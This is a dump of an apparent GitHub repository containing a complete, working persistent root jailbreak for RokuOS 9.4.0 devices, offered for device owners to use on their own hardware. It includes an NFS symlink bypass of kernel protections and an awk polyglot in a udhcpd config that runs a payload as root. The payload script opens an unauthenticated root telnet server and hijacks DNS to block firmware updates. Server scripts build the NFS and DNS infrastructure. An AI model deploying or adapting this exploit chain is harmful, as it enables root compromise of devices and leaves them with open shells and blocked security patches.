[
  {
    "path": "README.md",
    "content": "# Root My Roku\n\nA persistent root jailbreak for RokuOS v9.4.0 build 4200 devices using a Realtek WiFi chip.  \nA big thank you to ammar2 and popeax from the [Exploitee.rs](https://exploitee.rs/) Discord for helping discover and develop this.\n\n## Features\n\n- Spawns a telnet server running as root on port 8023.\n- Enables the low-level hardware developer mode.\n- Adds many new secret screens and debug features to the main menu.\n- *Blocks channel updates, firmware updates, and all communication with Roku servers.*\n\n## Usage\n\n1. Download any new channels you might want to use after the jailbreak.  \n   Once you jailbreak your device, all communication with Roku's servers will be blocked.  \n   Any channels you currently have installed should continue to work.  \n   Please see the F.A.Q. below for details.\n1. Enable [Developer Settings](https://developer.roku.com/docs/developer-program/getting-started/developer-setup.md#step-1-set-up-your-roku-device-to-enable-developer-settings) on your Roku device.\n1. Download the latest `dev-channel.zip` from the [releases page](https://github.com/llamasoft/RootMyRoku/releases/latest).\n1. Upload `dev-channel.zip` using the guide from the previous step.\n1. Follow the prompts on screen, then reboot to jailbreak!\n\n## Applications\n\n* Using a Roku TV to drive ambient lighting: https://www.youtube.com/watch?v=V_enynuw-rc\n  ([details](https://blog.ammaraskar.com/roku-tv-philips-hues/)).\n\n\n## F.A.Q.\n\n### Which devices does this affect?\n\nAffected devices include _almost all_ Roku TVs and some Roku set-top boxes.  \nIn theory, any Roku device running RokuOS v9.4.0 build 4200 or earlier that uses a Realtek WiFi chip is vulnerable.  \nYou can check your current software version from Settings -> System -> About.  \nWhile it is not possible to manually check your WiFi chip manufacturer, the channel\nprovided for this exploit will tell you if your device is vulnerable or not.\n\n### Can this brick my device?\n\nNo!  It makes no changes to the underlying firmware that the device runs.  \nIf anything bad happens, a [factory reset](https://support.roku.com/article/208757008) will always recover your device.\n\n### How do I un-jailbreak my device?\n\nYou have two options:\n- Factory reset your device.  This will clear NVRAM and remove the jailbreak.\n- Using the telnet server on port 8023, delete `/nvram/udhcpd-p2p.conf` and reboot.\n\n### Is Roku aware of this exploit?\n\nSome of the critical components required for the exploit chain no longer work in RokuOS v10.  \nThe NFS mount option that is used for arbitrary file modification gets disabled,\nand the service used for persistence and privilege escalation is no longer used.\n\nWhile RokuOS v10 has started rolling out, many devices have not received the update yet.\n\n### Why does the jailbreak block communication with Roku servers?\n\nThis is a precautionary measure to prevent the jailbreak from being disabled or removed.  \nIn the past, Roku has taken some _creative_ measures to forcefully patch jailbroken devices.\nOne such example was an update to the screensaver channel that would check for a telnet service,\nconnect to it, and command it to un-root and update the device.\n\nUnfortunately, the servers used for channel and firmware updates the same ones used\nto communicate with Roku in general.  Blocking updates means that no new channels can\nbe installed and that certain features like \"My Feed\" and \"Search\" will no longer work.  \nApplications that communicate with other services (e.g. YouTube, Netflix, HBO) will still work.\n\n### How can I prevent my non-jailbroken Roku from updating?\n\nEdit your modem/router's DNS settings to use the IP address of `dns.rootmyroku.com`.  \nYou can find the current IP address using `nslookup`, `dig`, or [online DNS lookup tools](https://dnstools.ws/lookup/dns.rootmyroku.com/A/).\n\n### Why should I trust the code you execute on my device?\n\nYou don't have to!\n\nAll of the files required to reproduce this exploit are available in this repo:\n- The local channel used to load the remote payload is available under `local`.\n- The remote payload loaded over NFS is available under `remote`.\n- The script used to create the NFS and DNS servers are available under `server`.\n\n\n## Exploit Details\n\nThere's two main vulnerabilities that make this exploit possible: arbitrary file modification and privilege escalation.\n\nRokuOS actually does a decently good job at sandboxing channels to prevent them from accessing the underlying filesystem.\nIn addition to running as a restricted user, a software sandbox, and a chroot jail, Roku's Linux kernel has\n[grsecurity patches](https://grsecurity.net/) applied.  These patches mitigate common exploit techniques used in \njailbreaks and privilege escalation.  Furthermore, the entire root filesystem is read-only and baked into the firmware.\nOnly persistent storage (NVRAM) and temp directories are writable.\n\n### Arbitrary File Modification\n\nTwo things conspired to allow arbitrary file modification.  The first was that an undocumented `pkg_nfs_mount`\n[channel manifest](https://developer.roku.com/en-gb/docs/developer-program/getting-started/architecture/channel-manifest.md) option.\nThis option was meant to reduce the software development lifecycle when creating a channel by allowing the channel's source code\nto be hosted on a different machine using [NFS](https://en.wikipedia.org/wiki/Network_File_System).\nThis removes the need to re-package and re-upload channels after every code change.  \nThe second was a shortcoming of the grsecurity patches and the Linux kernel in general: symlinks over NFS act weird.\nWhile grsecurity was configured specifically to not allow symlinking to directories owned by other users,\nthe ownership and permission checks no longer work properly when the symlink resides on an NFS mount.\nThis allows us to create a symlink in the remote channel's package that points to the root of the main filesystem.\n(See [`remote/source/Main.brs`](/remote/source/Main.brs) for details.)  \nThis provided us with the ability to modify persistent storage and temp files, but only as the app user.\n\n### Privilege Escalation\n\nFrom there, we discovered that the process that configures udhcpd (a DHCP service used for pairing speakers and remotes)\nfor Realtek chipsets could be made to read a config file from NVRAM, a location that the app user has access to.\nIf we could leverage it properly, it would let us manipulate a service running as the root user and also give us a means\nof persisting across reboots.  Thankfully, udhcpd has an option for executing a script (`notify_file`) with a single parameter (`lease_file`)\nwhenever a DHCP lease is created.  It wasn't perfect though: the udhcpd service would only run the script if it has the \"execute\" bit set.\nWhile we could create arbitrary files using our previous exploit, we didn't have control over the file's permissions and\nas a result, none of the payload scripts we create are marked as executable.  To make matters more difficult, we couldn't pass the\npayload script as `lease_file` to the built-in shell executables because udhcpd would overwrite the script contents first.  \nUltimately, the solution involved creating a `lease_file` value polyglot that is both an AWK script and a legal file name.\n(See [`remote/bootstrap.conf`](/remote/bootstrap.conf) for details.)\n\n## Footnote\n\nIf anyone at Roku is reading this: you desperately need a _real_ bug bounty program.\n\nWithout one, there's little incentive to research and report vulnerabilities\nwhen you're not sure if you'll be rewarded for your efforts or not.\nWhile we took this project on for fun as a hobby, almost no professional\nsecurity researchers are going to dedicate as much effort as we did for a \"maybe\".\n"
  },
  {
    "path": "local/README.md",
    "content": "This is the source code for the \"local\" component of the jailbreak.  \nWhen zipped and uploaded as a channel, this connects to the \"remote\" component of the jailbreak over NFS.\n\nKey files:\n- [`manifest`](./manifest) is the channel manifest that file enables the NFS mounting of the remote component.  \n- [`source/Main.brs`](./source/Main.brs) is the BrightScript file that will execute if the NFS mount fails or is patched."
  },
  {
    "path": "local/components/StatusScreen.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<component name=\"StatusScreen\" extends=\"Scene\">\n  <children>\n      <Label\n        id=\"statusLabel\"\n        text=\"\"\n        width=\"1280\"\n        height=\"720\"\n        horizAlign=\"center\"\n        vertAlign=\"center\"\n        wrap=\"true\"\n      />\n  </children>\n</component>\n"
  },
  {
    "path": "local/manifest",
    "content": "title=Root My Roku\nmajor_version=9\nminor_version=4\nbuild_version=4200\n\n##   Channel Assets\n###  Main Menu Icons / Channel Poster Artwork\n#### Image sizes are FHD: 540x405px | HD: 290x218px | SD: 214x144px\nmm_icon_focus_fhd=pkg:/images/channel-poster_fhd.png\nmm_icon_focus_hd=pkg:/images/channel-poster_hd.png\nmm_icon_focus_sd=pkg:/images/channel-poster_sd.png\n\n###  Splash Screen + Loading Screen Artwork\n#### Image sizes are FHD: 1920x1080px | HD: 1280x720px | SD: 720x480px\nsplash_screen_fhd=pkg:/images/splash-screen_fhd.jpg\nsplash_screen_hd=pkg:/images/splash-screen_hd.jpg\nsplash_screen_sd=pkg:/images/splash-screen_sd.jpg\n\n# This is where the magic happens.\n# Normally Linux grsec prevents us from following symlinks to directories\n# we don't own, but almost all of the grsec security checks fail when\n# the symlink resides on an NFS mount.\n# NOTE: pkg_nfs_mount requires an IP address, not a domain name.\n#  The value below is the IP address that nfs.rootmyroku.com resolves to.\npkg_nfs_mount=193.122.148.131:/exports/940E04200\n"
  },
  {
    "path": "local/source/Main.brs",
    "content": "Sub Main()\n    screen = CreateObject(\"roSGScreen\")\n    m.port = CreateObject(\"roMessagePort\")\n    screen.setMessagePort(m.port)\n\n    scene = screen.CreateScene(\"StatusScreen\")\n    screen.show()\n\n    m.status = scene.FindNode(\"statusLabel\")\n    m.status.text = \"If you're seeing this, the NFS mount failed or the exploit was patched. :(\"\n    Stop\n\n    While True\n        event = wait(30000, m.port)\n        event_type = type(event)\n        If event_type = \"roSGScreenEvent\" Then\n            ' When the screen is closed, shut everything down.\n            If event.isScreenClosed() Then\n                Return\n            End If\n        End If\n    End While\nEnd Sub\n"
  },
  {
    "path": "remote/README.md",
    "content": "This is the source code for the \"remote\" component of the jailbreak.  ***This is where the magic happens.***  \nThe contents of this directory will be loaded over NFS by the \"local\" component.\n\nKey files:\n- [`source/Main.brs`](./source/Main.brs) is the BrightScript file that uses a symlink exploit to install the jailbreak files.  \n- `root` a symlink used to access the device's internal storage.  \n  This symlink can't be checked in or uploaded properly.  \n  If you wish to reproduce this exploit yourself, you'll need to create it manually.  \n  (Hint: `cd remote && ln -s / root`)\n- [`bootstrap.conf`](./bootstrap.conf) is the udhcpd config used to bootstrap the jailbreak process.  \n  This file is used only once, and only to execute the jailbreak payload after the first reboot.\n- [`payload.sh`](./payload.sh) is the primary jailbreak payload.  \n  It replaces the bootstrap udhcpd config with one that allows udhcpd to continue functioning normally.  \n  It's also responsible for enabling developer mode, the telnet server, and the Roku-blocking DNS.\n- [`resolv.sh`](./resolv.sh) blocks communication with Roku servers by updating the device's DNS settings."
  },
  {
    "path": "remote/bootstrap.conf",
    "content": "# udhcpd allows you to specify an executable to notify whenever the lease file is updated.\n# It will call the `notify_file` executable and pass `lease_file` as the only parameter.\n# However, it has a few critical limitations:\n#   - The `notify_file` target must have the execute bit set.\n#     This is actually a major hurdle.\n#     While we can copy/write to arbitrary files, we can't control\n#     the resulting file's permissions.  As a consequence, the files\n#     we write to /nvram always never have their execute bit set.\n#   - udhcpd uses `execvp` to call `notify_file`, so we have access to\n#     exactly ONE parameter (i.e. `lease_file`) regardless of whitespace.\n#     This means things like `/bin/sh -c \"commands to run\"` won't work.\n#   - The contents of `lease_file` will be overwritten before calling `notify_file`.\n#     This means we can't use `/bin/sh /path/to/script.sh` because udhcpd\n#     will clobber the contents of our script before it ever gets executed.\n#   - The value of `lease_file` must be a path that udhcpd can write to.\n#     If it fails to write to `lease_file` then it won't call `notify_file`.\n#     The file itself doesn't need to exist in advance, but udhcpd can't\n#     create directories so it must be placed somewhere udhcpd can write.\n\n# The solution is an awk script + file path polyglot:\n#   - Start with a pattern match (`/tmp/;`) that executes nothing.\n#     This makes the entire awk script look like a file path under /tmp.\n#     From this point on, we can no longer use front-slahes otherwise\n#     it will be interpreted as subdirectories.\n#     We work around this by creating a front-slash using sprintf\n#     and using string concatination to generate a system command.\n#   - awk normally reads input via file name arguments and/or stdin,\n#     but udhcpd won't be passing any additional arguments.\n#     This means that the core of the awk script must be inside a `BEGIN`\n#     block which executes before any input processing takes place.\n#     As a side note, we must manually exit awk.  If we reach the end of\n#     the `BEGIN` block, it will hang when attempting to consume stdin.\n#     This in turn causes udhcpd to hang waiting for `notify_file` to finish.\n#   - Lastly, we need to manually chmod +x the exploit payload\n#     because the execute bit will be missing.\n\n# Behold!  (I'm actually pretty proud of this.)\nnotify_file /usr/bin/awk\nlease_file /tmp/; BEGIN { fs=sprintf(\"%c\",47); system(\"chmod +x \"fs\"nvram\"fs\"payload.sh && \"fs\"nvram\"fs\"payload.sh\"); exit(0); }\n\n# udhcpd calls `notify_file` whenever a new lease is created or every `auto_time` seconds.\n# We need the exploit payload to run before Application launches.\n# To accomplish this, we set the `auto_time` value to a small value\n# so that it triggers very early in the boot process.\n# The exploit payload will update the udhcpd config file\n# so that the small `auto_time` value is only used once.\nauto_time 1\n\n# A fallback interface in case we couldn't find one during installation.\ninterface wlan1\n\n# Make sure this file ends with an empty line.\n# An `interface` line will be appended during startup\n# and we need to make sure that it doesn't accidentally\n# get appended to one of our directives.\n"
  },
  {
    "path": "remote/components/StatusScreen.brs",
    "content": "\nSub init()\n    m.status = m.top.FindNode(\"status\")\n    m.status.font.size = 36\n\n    m.spinner = m.top.FindNode(\"spinner\")\n    m.spinner.poster.uri = \"pkg:/images/spinner.png\"\n    m.spinner.poster.observeField(\"loadStatus\", \"moveSpinner\")\n    setBusyState(False)\n\n    m.top.ObserveField(\"text\", \"onTextUpdate\")\n    m.top.ObserveField(\"busy\", \"onBusyUpdate\")\n    m.top.SetFocus(True)\nEnd Sub\n\nSub onTextUpdate(event As Object)\n    event_type = Type(event)\n    If event_type = \"roSGNodeEvent\" Then\n        m.status.text = event.GetData()\n    End If\nEnd Sub\n\nSub moveSpinner(event As Object)\n    ' Relocates the spinner to the bottom right corner.\n    ' We don't have access to the spinner's dimensions until the image finishes loading.\n    If m.spinner.poster.loadStatus = \"ready\" Then\n        screen_right = 1280 - m.spinner.poster.bitmapWidth * 1.25\n        screen_bottom = 720 - m.spinner.poster.bitmapHeight * 1.25\n        m.spinner.translation = [screen_right, screen_bottom]\n    End If\nEnd Sub\n\nSub onBusyUpdate(event As Object)\n    setBusyState(event.GetData())\nEnd Sub\n\nSub setBusyState(busy As Boolean)\n    If busy Then\n        m.spinner.poster.rotation = 0\n        m.spinner.visible = True\n        m.spinner.control = \"start\"\n    Else\n        m.spinner.visible = False\n        m.spinner.control = \"stop\"\n    End If\nEnd Sub\n\nSub onKeyEvent(key As String, pressed As Boolean) As Boolean\n    ' Observe and note all witness key events.\n    ' This is done so the main method can \"observe\" our lastKeyEvent field\n    ' because the main method has no direct access to onKeyEvent calls.\n    m.top.lastKeyEvent = { key: key, pressed: pressed }\n\n    ' Pretend like we didn't handle the key so the event propagates.\n    Return False\nEnd Sub"
  },
  {
    "path": "remote/components/StatusScreen.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<component name=\"StatusScreen\" extends=\"Scene\">\n  <children>\n      <Label\n        id=\"status\"\n        text=\"\"\n        width=\"1280\"\n        height=\"720\"\n        horizAlign=\"center\"\n        vertAlign=\"center\"\n        wrap=\"true\"\n      />\n      <BusySpinner\n        id=\"spinner\"\n        visible=\"false\"\n        control=\"stop\"\n      />\n  </children>\n\n  <interface>\n    <field id=\"text\" type=\"string\" />\n    <field id=\"busy\" type=\"bool\" />\n    <field id=\"lastKeyEvent\" type=\"assocarray\" />\n  </interface>\n\n  <script type=\"text/brightscript\" uri=\"pkg:/components/StatusScreen.brs\" />\n</component>"
  },
  {
    "path": "remote/manifest",
    "content": "title=Root My Roku\nmajor_version=9\nminor_version=4\nbuild_version=4200\n\n##   Channel Assets\n###  Main Menu Icons / Channel Poster Artwork\n#### Image sizes are FHD: 540x405px | HD: 290x218px | SD: 214x144px\nmm_icon_focus_fhd=pkg:/images/channel-poster_fhd.png\nmm_icon_focus_hd=pkg:/images/channel-poster_hd.png\nmm_icon_focus_sd=pkg:/images/channel-poster_sd.png\n\n###  Splash Screen + Loading Screen Artwork\n#### Image sizes are FHD: 1920x1080px | HD: 1280x720px | SD: 720x480px\nsplash_screen_fhd=pkg:/images/splash-screen_fhd.jpg\nsplash_screen_hd=pkg:/images/splash-screen_hd.jpg\nsplash_screen_sd=pkg:/images/splash-screen_sd.jpg\n\nsplash_color=#000000\nsplash_min_time=1000"
  },
  {
    "path": "remote/payload.sh",
    "content": "#!/bin/sh\n\nstatus() { echo \"[$(date)]\" \"$@\"; }\nwarning() { status \"$@\" 1>&2; }\nfail() { warning \"$@\"; exit 1; }\n\nexec >>\"/tmp/payload.log\" 2>&1\n\n\nenable_developer_mode() {\n    # Overlay /proc/cmdline to enable developer mode.\n    # This unlocks all of the busybox commands like wget and telnetd.\n    # If this takes place before Application starts, it also:\n    #   - Unlocks debug and secret screens in the main menu.\n    #   - Unlocks developer commands in the port 8080 debug terminal.\n    if ! grep -qF \"dev=1\" \"/proc/cmdline\"; then\n        status \"Enabling developer mode\"\n        cmdline=$(cat \"/proc/cmdline\")\n        printf \"dev=1 %s\" \"${cmdline}\" > \"/tmp/cmdline\"\n        chmod 644 \"/tmp/cmdline\"\n        mount -o bind,ro \"/tmp/cmdline\" \"/proc/cmdline\"\n\n        # Given that we only enable developer mode once at boot,\n        # take this opportunity to purge the current developer channel.\n        # If we don't, it'll trigger an NFS mount every boot.\n        # If the NFS mount fails, it can cause a boot loop.\n        rm \"/nvram/incoming/dev.zip\"* 2>/dev/null\n    fi\n}\n\nenable_telnetd() {\n    if pgrep -f telnetd >/dev/null 2>&1; then\n        return\n    fi\n\n    # Try different busybox binaries until we find one that works.\n    # The system one should work if the developer overlay was successful,\n    # but it never hurts to be careful.\n    telnetd_started=0\n    for busybox in \"/bin/busybox\" \"/nvram/busybox\" \"/nvram/busybox-$(uname -m)\"; do\n        if [[ ! -e \"${busybox}\" ]]; then\n            continue\n        fi\n\n        status \"Starting telnetd from ${busybox}\"\n        chmod +x \"${busybox}\" >/dev/null 2>&1\n        if \"${busybox}\" telnetd -l /sbin/loginsh -p 8023; then\n            telnetd_started=1\n            break\n        fi\n    done\n\n    if [[ \"${telnetd_started}\" -ne 1 ]]; then\n        warning \"Failed to start telnetd :(\"\n    fi\n}\n\nenable_custom_dns() {\n    if pgrep -f \"resolv.sh\" >/dev/null 2>&1; then\n        return\n    fi\n\n    # This custom DNS blocks communication with Roku's servers.\n    # This disables logging, channel updates, and firmware updates.\n    # See `resolv.sh` for details.\n    status \"Enabling custom DNS nameserver\"\n    chmod +x \"/nvram/resolv.sh\"\n    nohup \"/nvram/resolv.sh\" >/dev/null 2>&1 &\n}\n\nenable_persistence() {\n    # Check if we're using the bootstrapping config file.\n    # If we are, we need to replace it with a fully functional one.\n    # This restores actual udhcpd functionality for pairing speakers,\n    # remotes, and other devices.\n    restart_udhcpd=0\n    script_path=$(readlink -f \"$0\")\n    if ! grep -qF \"${script_path}\" \"/nvram/udhcpd-p2p.conf\"; then\n        status \"Replacing bootstrap udhcpd config\"\n        {\n            # Base the new config file off the system default one,\n            # but remove and replace the `notify_file` and `auto_time` values.\n            grep -vF -e \"notify_file\" -e \"auto_time\" \"/lib/wlan/realtek/udhcpd-p2p.conf\"\n\n            # Add the current script as the `notify_file` target.\n            echo\n            echo \"notify_file ${script_path}\"\n\n            # Cause the `notify_file` target to be called early during boot.\n            # This makes sure that our payload is run before the main Application starts.\n            # See `bootstrap.conf` for details.\n            echo \"auto_time 1\"\n\n            # Make absolutely sure that the config file ends with an empty line.\n            # See `bootstrap.conf` for details.\n            echo\n        } > \"/nvram/udhcpd-p2p.conf\"\n\n        # udhcpd is currently running with the bootstrap config file.\n        # We need to recreate the active config file by simulating\n        # the changes made by `/lib/wlan/network-functions`.\n        {\n            cat \"/nvram/udhcpd-p2p.conf\"\n            interface_name=$(cat \"/tmp/p2p-interface-name\" 2>/dev/null)\n            if [[ -n \"${interface_name}\" ]]; then\n                echo \"interface ${interface_name}\"\n            fi\n        } > \"/tmp/udhcpd-p2p.conf\"\n\n        restart_udhcpd=1\n    fi\n\n    # Now that the initial payload has already run, we don't need to run as often.\n    # If the active config still contains an `auto_time` value, remove it.\n    # The default value for `auto_time` is 2 hours which is good enough.\n    if grep -qF \"auto_time\" \"/tmp/udhcpd-p2p.conf\"; then\n        status \"Removing auto_time config value\"\n        sed -i \"/auto_time/d\" \"/tmp/udhcpd-p2p.conf\"\n        restart_udhcpd=1\n    fi\n\n    if [[ \"${restart_udhcpd}\" -ne 0 ]]; then\n        # We can't `pkill udhcpd` or we'll end up killing ourselves too.\n        # We need to kill all instances of udhcpd except the brand new one.\n        current_pids=$(pgrep udhcpd)\n        status \"Spawning replacement udhcpd\"\n        udhcpd \"/tmp/udhcpd-p2p.conf\"\n\n        if [[ -n \"${current_pids}\" ]]; then\n            status \"Killing previous udhcpd instances\"\n            kill ${current_pids}\n        fi\n    fi\n}\n\n# Do our magic, then call the default udhcpd notify script.\nenable_developer_mode\nenable_telnetd\nenable_custom_dns\n\n# The persistence method must run last as it may restart udhcpd.\n# This payload is launched by the current udhcpd, so it may kill us too.\nenable_persistence\n\nif [[ $# -gt 0 ]]; then\n    status \"Calling default notify handler\"\n    /lib/wlan/realtek/udhcpd-notify.sh \"$@\" >/dev/null 2>&1\nfi\n"
  },
  {
    "path": "remote/resolv.sh",
    "content": "#!/bin/sh\n\nstatus() { echo \"[$(date)]\" \"$@\"; }\nwarning() { status \"$@\" 1>&2; }\nfail() { warning \"$@\"; exit 1; }\n\nexec >>\"/tmp/resolv.log\" 2>&1\n\n# This needs to point to a DNS server that blocks \"roku.com\" domains.\n# Without this, system firmware updates (or even sneaky channel updates)\n# can disable the persistent root jailbreak.\nCUSTOM_DNS=\"dns.rootmyroku.com\"\n\n# Lock down the /tmp/resolv.conf file before anything else can modify it.\n# This file is automatically generated once we connect to a network,\n# but the process that handles it runs as the app user.\n# By setting the ownership to root and disabling writes, we can prevent\n# the application from overwriting our DNS settings.\ntouch \"/tmp/resolv.conf\"\nchown root:root \"/tmp/resolv.conf\"\nchmod 644 \"/tmp/resolv.conf\"\n\n# If we have a `resolv.conf` saved from a previous boot,\n# restore it while we check for an updated IP address.\nif [[ -s \"/nvram/resolv.conf\" ]]; then\n    last_resolv=$(cat \"/nvram/resolv.conf\")\n    cp \"/nvram/resolv.conf\" \"/tmp/resolv.conf\"\n    status \"Restored previous DNS settings:\"\n    cat \"/tmp/resolv.conf\"\n    ls -al \"/tmp/resolv.conf\"\n    chown root:root \"/tmp/resolv.conf\"\n    chmod 644 \"/tmp/resolv.conf\"\nelse\n    last_resolv=\"\"\nfi\n\n# In a perfect world we'd be able to put our custom DNS server's\n# DNS name into /etc/resolv.conf and have it magically work.\n# Instead, we'll ask a known-good DNS server the IP address of\n# our custom DNS server so we can use that instead.\nfailing=0\nwhile :; do\n    if ! resp=$(nslookup \"${CUSTOM_DNS}\" \"1.1.1.1\"); then\n        # This has a short retry delay so don't spam the logs.\n        if [[ \"${failing}\" -ne 1 ]]; then\n            warning \"Failed to resolve ${CUSTOM_DNS}\"\n            failing=1\n        fi\n        sleep 3\n        continue\n    fi\n    failing=0\n\n    resolv=$(\n        echo \"${resp}\" | sed -n '/^Name/,$p' | awk '/^Address/ { print \"nameserver \" $3; }'\n    )\n    if [[ -z \"${resolv}\" ]]; then\n        warning \"Resolved ${CUSTOM_DNS}, but found no addresses\"\n        sleep $(( 10 + RANDOM % 30 ))\n        continue\n    fi\n\n    if [[ \"${resolv}\" != \"${last_resolv}\" ]]; then\n        echo \"${resolv}\" > \"/tmp/resolv.conf\"\n        cp \"/tmp/resolv.conf\" \"/nvram/resolv.conf\"\n        last_resolv=\"${resolv}\"\n\n        status \"DNS settings updated:\"\n        cat \"/tmp/resolv.conf\"\n    fi\n\n    # Network condition changes can cause the resolv.conf file to be reset.\n    # Monitor the file to ensure the contents don't revert.\n    delay=$(( 300 + RANDOM % 600 ))\n    while [[ \"${delay}\" -gt 0 ]]; do\n      if [[ \"$(cat /tmp/resolv.conf)\" != \"${resolv}\" ]]; then\n          status \"Refreshing resolv.conf\"\n          echo \"${resolv}\" > \"/tmp/resolv.conf\"\n      fi\n      sleep 3\n      delay=$(( delay - 3 ))\n    done\ndone\n"
  },
  {
    "path": "remote/source/Main.brs",
    "content": "Sub Main()\n    m.port = CreateObject(\"roMessagePort\")\n\n    screen = CreateObject(\"roSGScreen\")\n    screen.setMessagePort(m.port)\n    m.status = screen.CreateScene(\"StatusScreen\")\n    screen.show()\n\n    m.spinner = m.status.FindNode(\"spinner\")\n    m.status.ObserveField(\"lastKeyEvent\", m.port)\n    m.status.text = \"Press play to root your Roku or back to exit.\"\n\n    While True\n        event = Wait(30000, m.port)\n        event_type = Type(event)\n\n        If event_type = \"roSGScreenEvent\" Then\n            ' When the screen is closed, shut everything down.\n            If event.isScreenClosed() Then\n                Return\n            End If\n\n        Else If event_type = \"roSGNodeEvent\" Then\n            If event.GetField() = \"lastKeyEvent\" Then\n                event_data = event.GetData()\n                key = event_data[\"key\"]\n                pressed = event_data[\"pressed\"]\n                If key.StartsWith(\"play\") And pressed Then\n                    RootMyRoku()\n                End If\n            End If\n        End If\n    End While\nEnd Sub\n\n\nSub Halt()\n    m.status.busy = False\n    While True\n        Stop\n        Sleep(1000)\n    End While\nEnd Sub\n\n\nSub RootMyRoku()\n    m.status.busy = True\n\n    ' Verify that the magic symlink exists and works.\n    fs = CreateObject(\"roFileSystem\")\n    If fs.Stat(\"pkg:/root\")[\"type\"] <> \"directory\" Then\n        m.status.text = \"Sorry, root symlink missing or the exploit has been fixed. :(\"\n        Stop\n        Halt()\n    End If\n\n    ' Check that the device uses the vulnerable driver stack.\n    wlan_driver = ReadAsciiFile(\"pkg:/root/tmp/wlan-driver\").Trim()\n    If wlan_driver <> \"realtek\" Then\n        m.status.text = \"WARNING: \" + wlan_driver + \" may not be vulnerable.\"\n        Sleep(5000)\n    End If\n\n    m.status.text = \"Installing the exploit bootstrapper...\"\n    Sleep(1000)\n    bootstrap_config = ReadAsciiFile(\"pkg:/bootstrap.conf\")\n    default_config = ReadAsciiFile(\"pkg:/root/lib/wlan/realtek/udhcpd-p2p.conf\")\n    For Each line in default_config.Tokenize(Chr(10))\n        If line.StartsWith(\"interface\") Then\n            bootstrap_config = bootstrap_config + Chr(10) + line + Chr(10)\n        End If\n    End For\n    WriteAsciiFile(\"pkg:/root/nvram/udhcpd-p2p.conf\", bootstrap_config)\n\n    m.status.text = \"Installing the exploit payload...\"\n    Sleep(1000)\n    fs.CopyFile(\"pkg:/payload.sh\", \"pkg:/root/nvram/payload.sh\")\n\n    m.status.text = \"Exploit ready!  Please reboot to trigger the payload.\"\n    m.status.text = m.status.text + Chr(10) + \"Settings -> System -> Power -> System Restart\"\n    Halt()\nEnd Sub\n"
  },
  {
    "path": "server/README.md",
    "content": "This is the shell script used to create and configure the NFS and DNS server used by this jailbreak.  \nYou can use this script as a starting point if you wish to recreate the exploit yourself,\nor to add extra functionality to the DNS server (e.g. ad blocking).\n\nThe shell script does _most_ of the work to set up the server, but some manual work will still be required:\n- Purchasing and configuring a domain name to point to the server's IP address.\n- Uploading the \"remote\" component to the NFS `/exports` directory.\n- Creating the `root` symlink in the remote component.  (Hint: `cd remote && ln -s / root`)\n- Updating the local component's `manifest` file to point to the server's IP address and NFS exports path.\n- Updating the remote component's `resolv.sh` file to point to the server's DNS name."
  },
  {
    "path": "server/setup.sh",
    "content": "#!/usr/bin/env bash\n\n# Once the server setup is complete, you'll still need to do a few things:\n#   1. Make sure the DNS and NFS mounts are accessible from the outside world.\n#      Check your firewall settings and network routes.\n#      If all else fails: `sudo iptables -I INPUT -j ACCEPT`\n#   2. Upload the \"remote\" portion of the channel to \"/exports/940E04200\"\n#   3. Create the magic symlink using the following command:\n#      ( cd \"/exports/940E04200\" && ln -s \"/\" \"./root\"; )\n#   4. Update the remote channel's `resolv.sh` script to point to this server.\n#   5. Update the local channel's `manifest` file to point to this server's IP address.\n\n# Tested and configured for Ubuntu LTS 20.04 Minimal.\n\nstatus() { echo \"[$(date)]\" \"$@\"; }\nwarning() { status \"$@\" 1>&2; }\nfail() { warning \"$@\"; exit 1; }\n\nexec &> >(tee -a \"/tmp/setup.log\")\n\n\n# Determine the current user's home directory from /etc/passwd.\n# This is to work around the fact that some cloud init script\n# run without a login shell.\nif [[ -z \"${HOME}\" || -z \"${USER}\" ]]; then\n    export USER=$(id --user --name)\n    export HOME=$(getent passwd \"${USER}\" | cut -d\":\" -f6)\n    status \"Setting HOME to '${HOME}'.\"\nfi\nstatus \"Script running as ${USER}.\"\n\n\nstatus \"Installing some basic utilities\"\npackages=(\n    curl\n    dnsmasq\n    dnsutils\n    fail2ban\n    git\n    htop\n    iftop\n    iotop\n    jq\n    less\n    moreutils\n    nfs-kernel-server\n    rsync\n    rsyslog\n    screen\n    vim\n)\nsudo apt-get update\nsudo apt-get install -y --no-install-recommends \"${packages[@]}\"\n\n\nstatus \"Configuring fail2ban\"\nsudo sed -i \"\" -e 's/%(sshd_backend)s/systemd/' \"/etc/fail2ban/jail.conf\"\nsudo systemctl enable fail2ban\nsudo systemctl restart fail2ban\n\n\nexport NFS_DIR=\"/exports\"\nstatus \"Creating NFS export at ${NFS_DIR}\"\nsudo mkdir --mode=1777 -p \"${NFS_DIR}\"\necho \"${NFS_DIR} *(ro,async,no_subtree_check,insecure)\" | sudo tee \"/etc/exports\" &>\"/dev/null\"\nsudo systemctl enable nfs-kernel-server\nsudo systemctl restart nfs-kernel-server\n\nstatus \"Configuring iptables for NFS\"\nfor port in 111 1110 2049 4045; do\n    for protocol in tcp udp; do\n        sudo iptables -I INPUT -p \"${protocol}\" --dport \"${port}\" -j ACCEPT\n    done\ndone\n\n\nstatus \"Disabling systemd-resolved\"\nsudo systemctl disable systemd-resolved\nsudo systemctl stop systemd-resolved\ncat <<RESOLV | sudo tee \"/etc/resolv.conf\" &>\"/dev/null\"\nnameserver 1.1.1.1\nnameserver 1.0.0.1\nnameserver 8.8.8.8\nnameserver 8.8.4.4\nRESOLV\n\n\nstatus \"Configuring dnsmasq\"\ncat <<DNSMASQ | sudo tee \"/etc/dnsmasq.conf\" &>\"/dev/null\"\n# Don't load the host's /etc/hosts or /etc/resolv.conf\nno-hosts\nno-resolv\n\n# Allow remote connections, not just local ones\ninterface=*\n\n# Basic security tweaks\nbogus-priv\ndomain-needed\n\n# Upstream DNS servers\nserver=1.1.1.1\nserver=1.0.0.1\nserver=8.8.8.8\nserver=8.8.4.4\n\n# Block Roku and all subdomains under it\nserver=/roku.com/\nserver=/ravm.tv/\n\n# Allow domains which are required to test for network connectivity\nserver=/captive.roku.com/#\nserver=/cigars.roku.com/#\nserver=/image.roku.com/#\nDNSMASQ\nsudo systemctl enable dnsmasq\nsudo systemctl restart dnsmasq\n\nstatus \"Configuring iptables for dnsmasq\"\nfor port in 53; do\n    for protocol in tcp udp; do\n        sudo iptables -I INPUT -p \"${protocol}\" --dport \"${port}\" -j ACCEPT\n    done\ndone\n\nstatus \"Done\""
  }
]